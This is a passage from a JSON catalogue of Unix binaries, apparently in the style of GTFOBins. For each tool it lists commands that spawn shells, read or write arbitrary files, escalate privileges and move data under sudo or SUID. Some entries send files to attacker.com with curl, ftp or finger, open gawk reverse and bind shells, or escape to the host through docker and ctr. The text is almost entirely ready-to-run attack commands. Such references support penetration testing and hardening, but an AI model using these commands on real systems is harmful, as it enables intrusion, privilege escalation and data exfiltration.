tunnel.","contexts":{"sudo":null,"unprivileged":null},"listener":{"comment":"Navigate to <https://vscode.dev/tunnel/xxxxxx> where a remote VS Code instance can be used to spawn a system shell on the victim box.\n\nFrom the menu, select \"View\" -> \"Terminal\"."},"tty":true}],"upload":[{"code":"code tunnel --name xxxxxx","comment":"This requires a valid GitHub account.\n\nRun the command locally, then on the attacker box navigate to <https://github.com/login/device>, using the provided code to authorize the tunnel.","contexts":{"sudo":null,"unprivileged":null},"receiver":{"comment":"Navigate to <https://vscode.dev/tunnel/xxxxxx> where a remote VS Code instance can be used to download files from the victim box.\n\nFrom the menu, select \"File\" -> \"Open Folder...\", right-click on the explorer pane, then select Download...\" to download a file.\n\nAlternatively it's possible to just display files."}}]}},"codex": {"functions":{"shell":[{"code":"codex sandbox linux /bin/sh","contexts":{"sudo":null,"unprivileged":null}}]}},"column": {"functions":{"file-read":[{"binary":false,"code":"column /path/to/input-file","comment":"This program expects textual data.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"comm": {"functions":{"file-read":[{"binary":false,"code":"comm /path/to/input-file /dev/null","comment":"A newline is appended to the file.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"composer": {"functions":{"shell":[{"code":"echo '{\"scripts\":{\"x\":\"/bin/sh\"}}' >composer.json\ncomposer run-script x","contexts":{"sudo":null,"unprivileged":null}}]}},"cowsay": {"functions":{"inherit":[{"code":"cowsay -f /path/to/script.pl x","contexts":{"sudo":null,"unprivileged":null},"from":"perl"}]}},"cowthink": {"functions":{"inherit":[{"code":"cowthink -f /path/to/script.pl x","contexts":{"sudo":null,"unprivileged":null},"from":"perl"}]}},"cp": {"functions":{"file-read":[{"code":"cp /path/to/input-file /dev/stdout","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"echo DATA | cp /dev/stdin /path/to/output-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"privilege-escalation":[{"code":"cp /path/to/input-file /path/to/output-file","comment":"This can be used to copy and then read or write files from a restricted file systems or with elevated privileges. (The GNU version of `cp` has the `--parents` option that can be used to also create the directory hierarchy specified in the source path, to the destination folder.)","contexts":{"sudo":null,"suid":null}},{"code":"cp --attributes-only --preserve=all /path/to/input-file /path/to/output-file","comment":"This can copy SUID permissions from any SUID binary (e.g., `/path/to/input-file`) to another.","contexts":{"sudo":null,"suid":null}}]}},"cpan": {"functions":{"inherit":[{"code":"cpan\n! ...","comment":"Perl code can be executed with the `!` command.","contexts":{"sudo":null,"unprivileged":null},"from":"perl"}]}},"cpio": {"functions":{"file-read":[{"binary":false,"code":"echo /path/to/input-file | cpio -o","comment":"The content of the file is printed to standard output, between the `cpio` archive format header and footer.","contexts":{"sudo":null,"suid":null,"unprivileged":null}},{"code":"echo /path/to/input-file | cpio -dp .\ncat path/to/input-file","comment":"The whole directory structure is copied to `.`, hence this is also a file write.","contexts":{"sudo":{"code":"echo /path/to/input-file | cpio -R $UID -dp .\ncat path/to/input-file"},"suid":{"code":"echo /path/to/input-file | cpio -R $UID -dp .\ncat path/to/input-file"},"unprivileged":null}}],"file-write":[{"code":"echo DATA >/path/to/temp-file\necho /path/to/temp-file | cpio -udp .","comment":"The whole directory structure is copied to `.`, with the data written to `./path/to/temp-file`.","contexts":{"sudo":{"code":"echo DATA >/path/to/temp-file\necho /path/to/temp-file | cpio -R 0:0 -udp ."},"suid":{"code":"echo DATA >/path/to/temp-file\necho /path/to/temp-file | cpio -R 0:0 -udp ."},"unprivileged":null}}],"shell":[{"code":"echo '/bin/sh </dev/tty >/dev/tty' >localhost\ncpio -o --rsh-command /bin/sh -F localhost:","contexts":{"sudo":null}}]}},"cpulimit": {"functions":{"shell":[{"code":"cpulimit -l 100 -f -- /bin/sh","contexts":{"sudo":null,"suid":{"code":"cpulimit -l 100 -f -- /bin/sh -p"},"unprivileged":null}}]}},"crash": {"functions":{"command":[{"code":"CRASHPAGER=/path/to/command crash -h","contexts":{"sudo":null,"unprivileged":null}}],"inherit":[{"code":"crash -h","contexts":{"sudo":null,"suid":null,"unprivileged":null},"from":"less"}]}},"crontab": {"functions":{"command":[{"code":"crontab -e","comment":"This spaws the default editor to edit the crontab file, commands can be scheduled to run using the [cron syntax](https://en.wikipedia.org/wiki/Cron).","contexts":{"sudo":null,"unprivileged":null}}],"inherit":[{"code":"crontab -e","contexts":{"sudo":null,"unprivileged":null},"from":"vi"}]}},"csh": {"functions":{"file-write":[{"code":"csh -c 'echo DATA >/path/to/output-file'","contexts":{"sudo":null,"suid":{"code":"csh -c 'echo DATA >/path/to/output-file' -b"},"unprivileged":null}}],"shell":[{"code":"csh","contexts":{"sudo":null,"suid":{"code":"csh -b"},"unprivileged":null}}]}},"csplit": {"functions":{"file-read":[{"code":"csplit /path/to/input-file 1\ncat xx01","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"echo DATA >/path/to/temp-file\ncsplit -z -b '%doutput-file' /path/to/temp-file 1","comment":"Writes the data to `xx0output-file` in the current working directory. If needed, a different prefix can be specified with `-f` (instead of `xx`).","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"csvtool": {"functions":{"file-read":[{"binary":false,"code":"csvtool trim t /path/to/input-file","comment":"The file is actually parsed and manipulated as CSV.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"binary":false,"code":"echo DATA >/path/to/temp-file\ncsvtool trim t /path/to/temp-file -o /path/to/output-file","comment":"The file is actually parsed and manipulated as CSV.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"csvtool call '/bin/sh;false' /etc/hosts","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"ctr": {"functions":{"shell":[{"code":"ctr run --rm --mount type=bind,src=/,dst=/,options=rbind -t docker.io/library/alpine:latest x","comment":"An image must be already present, for example:\n\n```\nctr images pull docker.io/library/alpine:latest\n```","contexts":{"sudo":null,"suid":null}}]}},"cupsfilter": {"functions":{"file-read":[{"code":"cupsfilter -i application/octet-stream -m application/octet-stream /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"curl": {"functions":{"download":[{"code":"curl http://attacker.com/path/to/input-file -o /path/to/output-file","contexts":{"sudo":null,"suid":null,"unprivileged":null},"sender":"http-server"}],"file-read":[{"code":"curl file:///path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"echo DATA >/path/to/temp-file\ncurl file:///path/to/temp-file -o /path/to/output-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"library-load":[{"code":"curl --engine /path/to/lib.so x","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"upload":[{"code":"curl -X POST --data-binary @/path/to/input-file http://attacker.com","contexts":{"sudo":null,"suid":null,"unprivileged":null},"receiver":"http-server"},{"code":"curl -X POST --data-binary DATA http://attacker.com","contexts":{"sudo":null,"suid":null,"unprivileged":null},"receiver":"http-server"},{"code":"curl gopher://attacker.com:12345/_DATA","comment":"Data will be `\\r\\n` terminated.","contexts":{"sudo":null,"suid":null,"unprivileged":null},"receiver":"tcp-server"}]}},"cut": {"functions":{"file-read":[{"binary":false,"code":"cut -d '' -f1 /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"dash": {"functions":{"file-write":[{"code":"dash -c 'echo DATA >/path/to/output-file'","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"dash","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"date": {"functions":{"file-read":[{"binary":false,"code":"date -f /path/to/input-file","comment":"Each line is corrupted by a prefix string and wrapped inside quotes.","contexts":{"sudo":null,"suid":null,"unprivileged":null},"version":"GNU"}]}},"dc": {"functions":{"shell":[{"code":"dc -e '!/bin/sh'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"dd": {"functions":{"file-read":[{"code":"dd if=/path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"echo DATA | dd of=/path/to/output-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"debugfs": {"functions":{"shell":[{"code":"debugfs\n!/bin/sh","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"dhclient": {"functions":{"shell":[{"code":"dhclient -sf /bin/sh","contexts":{"sudo":null,"unprivileged":null}}]}},"dialog": {"functions":{"file-read":[{"code":"dialog --textbox /path/to/input-file 0 0","comment":"The file is shown in an interactive TUI dialog.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"diff": {"functions":{"file-read":[{"binary":false,"code":"diff --line-format=%L /dev/null /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}},{"code":"diff --recursive /path/to/empty-dir /path/to/input-dir/","comment":"This lists the content of a directory. `/path/to/empty-dir` can be any directory, but for convenience it is better to use an empty directory to avoid noise output.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"dig": {"functions":{"file-read":[{"code":"dig -f /path/to/input-file","comment":"Each input line is treated as a lookup query for the `dig` command and the output is corrupted with the result or errors of the operation.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"distcc": {"functions":{"shell":[{"code":"distcc /bin/sh","contexts":{"sudo":null,"suid":{"code":"distcc /bin/sh -p"},"unprivileged":null}}]}},"dmesg": {"functions":{"file-read":[{"binary":false,"code":"dmesg -rF /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"inherit":[{"code":"dmesg -H","contexts":{"sudo":null,"suid":null,"unprivileged":null},"from":"less"}]}},"dmidecode": {"functions":{"file-write":[{"binary":false,"code":"dmidecode --no-sysfs -d x.dmi --dump-bin /path/to/output-file","comment":"It can be used to write files using a specially crafted SMBIOS file that can be read as a memory device by dmidecode.\nGenerate the file with [dmiwrite](https://github.com/adamreiser/dmiwrite) and upload it to the target.\n\n- `--dump-bin`, will cause dmidecode to write the payload to the destination specified, prepended with 32 null bytes.\n\n- `--no-sysfs`, if the target system is using an older version of dmidecode, you may need to omit the option.\n\n```\nmake dmiwrite\necho DATA >/path/to/temp-file\n./dmiwrite /path/to/temp-file x.dmi\n```","contexts":{"unprivileged":null}}]}},"dmsetup": {"functions":{"shell":[{"code":"dmsetup create base <<EOF\n0 3534848 linear /dev/loop0 94208\nEOF\ndmsetup ls --exec '/bin/sh -s'","contexts":{"sudo":null,"suid":{"code":"dmsetup create base <<EOF\n0 3534848 linear /dev/loop0 94208\nEOF\ndmsetup ls --exec '/bin/sh -p -s'"},"unprivileged":null}}]}},"dnf": {"functions":{"command":[{"code":"dnf install -y x-1.0-1.noarch.rpm --disablerepo=*","comment":"Generate the RPM package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n\n```\necho /path/to/command >x.sh\nfpm -n x -s dir -t rpm -a all --before-install x.sh .\n```\n\nThe `--disablerepo=*` option is used for targets without Internet connectivity, can be omitted otherwise.","contexts":{"sudo":null}}]}},"dnsmasq": {"functions":{"command":[{"code":"dnsmasq --conf-script='/path/to/command 1>&2'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"doas": {"functions":{"shell":[{"code":"doas -u root /bin/sh","comment":"The user must be allowed to use `doas`.","contexts":{"sudo":null,"unprivileged":null}}]}},"docker": {"comment":"This requires the user to be privileged enough to run `docker`, e.g., being in the `docker` group or being `root`.","functions":{"file-read":[{"code":"docker cp /path/to/input-file $CONTAINER_ID:input-file\ndocker cp $CONTAINER_ID:input-file /path/to/temp-file\ncat /path/to/temp-file","comment":"Read a file by copying it to a temporary container (`$CONTAINER_ID`) and back to a new location on the host.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"echo DATA >/path/to/temp-file\ndocker cp /path/to/temp-file $CONTAINER_ID:temp-file\ndocker cp $CONTAINER_ID /path/to/output-file","comment":"Write a file by copying it to a temporary container (`$CONTAINER_ID`) and back to the target destination on the host.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh","contexts":{"sudo":null,"suid":null,"unprivileged":null}},{"code":"docker run --rm -it --privileged -u root alpine\nmount /dev/sda1 /mnt/\nls -la /mnt/\nchroot /mnt /bin/bash","comment":"This exploits the fact that is run with the `--privileged` option to directly mount a host's disk, e.g., `/dev/sda1`.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"dos2unix": {"functions":{"file-read":[{"code":"dos2unix -f -O /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"dos2unix -f -n /path/to/input-file /path/to/output-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"dosbox": {"comment":"Basically `dosbox` allows to mount the local file system, so that it can be altered using DOS commands. Note that the DOS filename convention ([8.3](https://en.wikipedia.org/wiki/8.3_filename)) is used.","functions":{"file-read":[{"code":"dosbox -c 'mount c /' -c 'type c:\\path\\to\\input'","comment":"The file content will be displayed in the DOSBox graphical window.","contexts":{"sudo":null,"suid":null,"unprivileged":null}},{"code":"dosbox -c 'mount c /' -c 'copy c:\\path\\to\\input c:\\path\\to\\output' -c exit\ncat /path/to/OUTPUT","comment":"The file is copied to a readable location.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"dosbox -c 'mount c /' -c \"echo DATA >c:\\path\\to\\output\" -c exit","comment":"Note that `echo` terminates the string with a DOS-style line terminator (`\\r\\n`), if that's a problem and your scenario allows it, you can create the file outside `dosbox`, then use `copy` to do the actual write.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"dotnet": {"functions":{"file-read":[{"code":"dotnet fsi\nSystem.IO.File.ReadAllText(\"/path/to/input-file\");;","contexts":{"sudo":null,"unprivileged":null}}],"shell":[{"code":"dotnet fsi\nSystem.Diagnostics.Process.Start(\"/bin/sh\").WaitForExit();;","contexts":{"sudo":null,"unprivileged":null}}]}},"dpkg": {"functions":{"inherit":[{"code":"dpkg -l","contexts":{"sudo":null,"suid":null,"unprivileged":null},"from":"less"}],"shell":[{"code":"dpkg -i x_1.0_all.deb","comment":"Generate the Debian package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n\n```\necho 'exec /bin/sh' >x.sh\nfpm -n x -s dir -t deb -a all --before-install x.sh .\n```","contexts":{"sudo":null}}]}},"dstat": {"functions":{"inherit":[{"code":"dstat --xxx","comment":"`dstat` allows you to run arbitrary Python scripts loaded as \"external plugins\" if they are located in one of the directories, stated in the `dstat` man page under \"FILES\":\n\n- `~/.dstat/`\n- `(path of binary)/plugins/`\n- `/usr/share/dstat/`\n- `/usr/local/share/dstat/`\n\nPick the one that you can write into. The plugin named `xxx` file name must be defined in the `dstat_xxx.py` file.","contexts":{"sudo":null,"unprivileged":null},"from":"python"}]}},"dvips": {"functions":{"shell":[{"code":"dvips -R0 texput.dvi","comment":"The `texput.dvi` output file produced by `tex` can be created offline and uploaded to the target.\n\n```\ntex '\\special{psfile=\"`/bin/sh 1>&0\"}\\end'\n```","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"easy_install": {"functions":{"inherit":[{"code":"echo '...' >setup.py\neasy_install .","comment":"This allows to run Python code (`...`). It executes a Python script named `setup.py` in the directory passed as argument (`.`).\n\nKeep in mind that the TTY is lost, so `/dev/tty` can be used, for example:\n\n```\necho 'import os; os.system(\"exec /bin/sh </dev/tty >/dev/tty 2>/dev/tty\")' >setup.py\n```","contexts":{"sudo":null,"unprivileged":null},"from":"python"}]}},"easyrsa": {"functions":{"shell":[{"code":"echo 'set_var X \"$(/bin/sh 1>&0)\"' >/path/to/temp-file\neasyrsa --vars=/path/to/temp-file","comment":"This command might not be in the `PATH`, it could be found in, `/usr/share/easy-rsa/easyrsa`. The shell is spawn twice.","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"eb": {"comment":"For this to work the target must be connected to an AWS instance via EB CLI.","functions":{"inherit":[{"code":"eb logs","contexts":{"sudo":null,"unprivileged":null},"from":"journalctl"}]}},"ed": {"functions":{"file-read":[{"binary":false,"code":"ed /path/to/input-file\n,p\nq","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"binary":false,"code":"ed /path/to/output-file\na\nDATA\n.\nw\nq","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"ed\n!/bin/sh\nq","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"efax": {"functions":{"file-read":[{"binary":false,"code":"efax -d /path/to/input-file","comment":"The content is actually parsed by the command.","contexts":{"sudo":null,"suid":null}}]}},"egrep": {"functions":{"file-read":[{"code":"grep '' /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"elvish": {"functions":{"file-read":[{"code":"elvish -c 'print (slurp </path/to/input-file)'","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"elvish -c 'print DATA >/path/to/output-file'","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"elvish","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"emacs": {"comment":"All the functions operate in the Emacs terminal interface.","functions":{"file-read":[{"binary":false,"code":"emacs /path/to/input-file","contexts":{"sudo":null,"unprivileged":null}}],"file-write":[{"binary":false,"code":"emacs /path/to/output-file\nDATA\nC-x C-s","contexts":{"sudo":null,"unprivileged":null}}],"shell":[{"code":"emacs -Q -nw --eval '(term \"/bin/sh\")'","contexts":{"sudo":null,"unprivileged":null}}]}},"enscript": {"functions":{"shell":[{"code":"enscript /dev/null -qo /dev/null -I '/bin/sh >&2'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"env": {"functions":{"shell":[{"code":"env /bin/sh","contexts":{"sudo":null,"suid":{"code":"env /bin/sh -p","shell":false},"unprivileged":null}}]}},"eqn": {"functions":{"file-read":[{"binary":false,"code":"eqn /path/to/input-file","comment":"The content is actually parsed and corrupted by the command.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"espeak": {"functions":{"file-read":[{"binary":false,"code":"espeak -qXf /path/to/input-file","comment":"The file content appears in the middle of other textual information as phonemes.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"ex": {"functions":{"inherit":[{"code":"ex","contexts":{"sudo":null,"suid":null,"unprivileged":null},"from":"ed"}],"shell":[{"code":"ex -c ':!/bin/sh'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"exiftool": {"functions":{"file-read":[{"code":"exiftool -filename=/path/to/output-file /path/to/input-file\ncat /path/to/output-file","comment":"If the permissions allow it, files are moved (instead of copied) to the destination.","contexts":{"sudo":null,"unprivileged":null}}],"file-write":[{"code":"exiftool -filename=/path/to/output-file /path/to/input-file","comment":"If the permissions allow it, files are moved (instead of copied) to the destination.","contexts":{"sudo":null,"unprivileged":null}},{"binary":false,"code":"exiftool \"-description<=/path/to/input-file --filename /path/to/output-file","comment":"The output file must exists, either empty or be a supported image file. The content is written amidst other content.","contexts":{"sudo":null,"unprivileged":null}},{"binary":false,"code":"exiftool \"-description=DATA --filename /path/to/output-file","comment":"The output file must exists, either empty or be a supported image file. The content is written amidst other content.","contexts":{"sudo":null,"unprivileged":null}},{"binary":false,"code":"exiftool -description -W /path/to/output-file --filename /path/to/input-file","comment":"Writes the metadata tags of the input file in textual format to the output.","contexts":{"sudo":null,"unprivileged":null}}],"inherit":[{"code":"exiftool -if '...' /etc/passwd","comment":"This allows to run Perl code (`...`).","contexts":{"sudo":null,"unprivileged":null},"from":"perl"}]}},"expand": {"functions":{"file-read":[{"binary":false,"code":"expand /path/to/input-file","comment":"The read file content is corrupted by replacing tabs with spaces.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"expect": {"functions":{"file-read":[{"code":"expect /path/to/input-file","comment":"The file is read and parsed as an `expect` command file, the content of the first invalid line is returned in an error message.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"expect -c 'spawn /bin/sh;interact'","contexts":{"sudo":null,"suid":{"code":"expect -c 'spawn /bin/sh -p;interact'","shell":false},"unprivileged":null}}]}},"facter": {"functions":{"inherit":[{"code":"FACTERLIB=/path/to/dir/ facter","comment":"The first `.rb` file in the `/path/to/dir/` directory will be executed.","contexts":{"sudo":null,"unprivileged":null},"from":"ruby"},{"code":"facter --custom-dir=/path/to/dir/ x","comment":"The first `.rb` file in the `/path/to/dir/` directory will be executed.","contexts":{"sudo":null,"unprivileged":null},"from":"ruby"}]}},"fail2ban-client": {"functions":{"command":[{"blind":true,"code":"fail2ban-client add x\nfail2ban-client set x addaction x\nfail2ban-client set x action x actionban /path/to/command\nfail2ban-client start x\nfail2ban-client set x banip 999.999.999.999\nfail2ban-client set x unbanip 999.999.999.999\nfail2ban-client stop x","comment":"The subprocess is immediately sent to the background, but `fail2ban-client` waits on a return code from the subprocess. The `banip` command will hang until the subprocess returns.","contexts":{"sudo":null}},{"blind":true,"code":"cat >/path/to/temp-dir/fail2ban.conf <<EOF\n[Definition]\nEOF\n\ncat >/path/to/temp-dir/jail.local <<EOF\n[x]\nenabled = true\naction = x\nEOF\n\nmkdir -p /path/to/temp-dir/action.d/\ncat >/path/to/temp-dir/action.d/x.conf <<EOF\n[Definition]\nactionstart = /path/to/command\nEOF\n\nmkdir -p /path/to/temp-dir/filter.d/\ncat >/path/to/temp-dir/filter.d/x.conf <<EOF\n[Definition]\nEOF\n\nfail2ban-client -c /path/to/temp-dir/ -v restart","contexts":{"sudo":null}}]}},"fastfetch": {"functions":{"command":[{"code":"echo '{\"modules\":[{\"type\":\"command\",\"key\":\"x\",\"text\":\"exec /path/to/command\"}]}' >/path/to/temp-file.jsonc\nfastfetch -c /path/to/temp-file.jsonc","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}],"file-read":[{"binary":false,"code":"fastfetch --file /path/to/input-file","comment":"The file content is used as the logo while some other information is displayed on its right.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"echo '{\"modules\":[{\"type\":\"command\",\"key\":\"x\",\"text\":\"exec /bin/sh 1>&0 2>&0\"}]}' >/path/to/temp-file.jsonc\nfastfetch -c /path/to/temp-file.jsonc","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"ffmpeg": {"functions":{"library-load":[{"code":"ffmpeg -f lavfi -i anullsrc -af ladspa=file=/path/to/lib.so /path/to/temp-file.wav\nreset^J","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"fgrep": {"functions":{"file-read":[{"code":"grep '' /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"file": {"functions":{"file-read":[{"binary":false,"code":"file -f /path/to/input-file","comment":"Each input line is treated as a filename for the `file` command and the output is corrupted by a suffix `:` followed by the result or the error of the operation.","contexts":{"sudo":null,"suid":null,"unprivileged":null}},{"binary":false,"code":"file -m /path/to/input-file","comment":"Each line is corrupted by a prefix string and wrapped inside quotes.\n\nIf a line in the target file begins with a `#`, it will not be printed as these lines are parsed as comments.\n\nIt can also be provided with a directory and will read each file in the directory.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"find": {"functions":{"file-read":[{"code":"find /path/to/input-file -exec cat {} \\;","comment":"This uses `cat` to actually read the file, but since permissions are not dropped, it's executed with the same privileges as `find`.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"find / -fprintf /path/to/output-file DATA -quit","comment":"`DATA` is a format string, it supports some escape sequences.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"find . -exec /bin/sh \\; -quit","contexts":{"sudo":null,"suid":{"code":"find . -exec /bin/sh -p \\; -quit","shell":false},"unprivileged":null}}]}},"finger": {"functions":{"download":[{"code":"finger x@attacker.com","comment":"The command hangs waiting for the remote peer to close the socket.","contexts":{"sudo":null,"suid":null,"unprivileged":null},"sender":{"code":"nc -l -p 79 </path/to/input-file","comment":"A TCP server can be used on the attacker box to send the data."}}],"upload":[{"code":"finger DATA@attacker.com","comment":"The command hangs waiting for the remote peer to close the socket.","contexts":{"sudo":null,"suid":null,"unprivileged":null},"receiver":{"code":"nc -l -p 79 >/path/to/output-file","comment":"A TCP server can be used on the attacker box to receive the data."}}]}},"firejail": {"functions":{"shell":[{"code":"firejail /bin/sh","contexts":{"sudo":null,"unprivileged":null}}]}},"fish": {"functions":{"shell":[{"code":"fish","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"flock": {"functions":{"shell":[{"code":"flock -u / /bin/sh","contexts":{"sudo":null,"suid":{"code":"flock -u / /bin/sh -p","shell":false},"unprivileged":null}}]}},"fmt": {"functions":{"file-read":[{"binary":false,"code":"fmt -pNON_EXISTING_PREFIX /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null},"version":"GNU"},{"binary":false,"code":"fmt -999 /path/to/input-file","comment":"This corrupts the output by wrapping very long lines at the given width (`999`).","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"fold": {"functions":{"file-read":[{"binary":false,"code":"fold -w999 /path/to/input-file","comment":"This corrupts the output by wrapping very long lines at the given width (`999`).","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"forge": {"functions":{"shell":[{"code":"echo '#!/bin/sh' >/path/to/temp-file\necho -e \"/bin/sh <$(tty) >$(tty) 2>$(tty)\" >>/path/to/temp-file\nchmod +x /path/to/temp-file\nforge build --use /path/to/temp-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"fping": {"functions":{"file-read":[{"binary":false,"code":"fping -f /path/to/input-file","comment":"Each line is treated as an hostname and it's leaked as an error message.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"ftp": {"functions":{"download":[{"code":"ftp -a attacker.com\nget /path/to/input-file output-file","comment":"Instead of `-a`, credentials can be supplied via the `user:password@host` connection string.","contexts":{"sudo":null,"suid":null,"unprivileged":null},"sender":"ftp-server"}],"shell":[{"code":"ftp\n!/bin/sh","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}],"upload":[{"code":"ftp -a attacker.com\nput /path/to/input-file output-file","comment":"Instead of `-a`, credentials can be supplied via the `user:password@host` connection string.","contexts":{"sudo":null,"suid":null,"unprivileged":null},"receiver":"ftp-server"}]}},"fzf": {"functions":{"command":[{"code":"fzf --listen=12345","comment":"Commands can be issued via POST requests, for example:\n\n```\ncurl http://localhost:12345 -d 'execute(/path/to/command)'\n```","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}],"shell":[{"code":"fzf --bind 'enter:execute(/bin/sh)'","comment":"Press `Enter` to receive the shell.","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"g++": {"alias":"gcc"},"gawk": {"functions":{"bind-shell":[{"code":"gawk 'BEGIN {\n    s = \"/inet/tcp/12345/0/0\";\n    while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'","connector":"tcp-client","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}],"file-read":[{"code":"gawk '//' /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"gawk 'BEGIN { print \"DATA\" > \"/path/to/output-file\" }'","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"reverse-shell":[{"code":"gawk 'BEGIN {\n    s = \"/inet/tcp/0/attacker.com/12345\";\n    while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null},"listener":"tcp-server"}],"shell":[{"code":"gawk 'BEGIN {system(\"/bin/sh\")}'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"gcc": {"functions":{"file-read":[{"binary":false,"code":"gcc -x c -E /path/to/input-file","contexts":{"sudo":null,"unprivileged":null}},{"binary":false,"code":"gcc @/path/to/input-file","comment":"The file is read and parsed as a list of files (one per line), the content is displayed as error messages.","contexts":{"sudo":null,"unprivileged":null}}],"file-write":[{"code":"gcc -x c /dev/null -o /path/to/input-file","comment":"This actually deletes the file.","contexts":{"sudo":null,"unprivileged":null}}],"shell":[{"code":"gcc -wrapper /bin/sh,-s x","comment":"In some older versions, the `x` argument must instead reference any existing file.","contexts":{"sudo":null,"unprivileged":null}}]}},"gcloud": {"functions":{"inherit":[{"code":"gcloud help","contexts":{"sudo":null,"suid":null,"unprivileged":null},"from":"less"}]}},"gcore": {"functions":{"file-read":[{"code":"gcore $PID","comment":"It can be used to generate core dumps of running processes (`$PID`). Such files often contains sensitive information such as open files content, cryptographic keys, passwords, etc. This command produces a binary file named `core.$PID`, that is then often filtered with `strings` to narrow down relevant information.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"gdb": {"functions":{"file-write":[{"code":"gdb -nx -ex 'dump value /path/to/output-file \"DATA\"' -ex quit","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"inherit":[{"code":"gdb -nx -ex 'python ...' -ex quit","comment":"This allows to run Python code (`...`).","contexts":{"sudo":null,"suid":null,"unprivileged":null},"from":"python"}],"shell":[{"code":"gdb -nx -ex '!/bin/sh' -ex quit","contexts":{"capabilities":{"code":"gdb -nx -ex 'python import os; os.setuid(0)' -ex '!/bin/sh' -ex quit","list":["CAP_SETUID"]},"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"gem": {"functions":{"inherit":[{"code":"gem open debug","comment":"This requires the name of an installed gem to be provided, e.g., `debug` is usually installed.","contexts":{"sudo":null,"unprivileged":null},"from":"vi"},{"code":"gem build 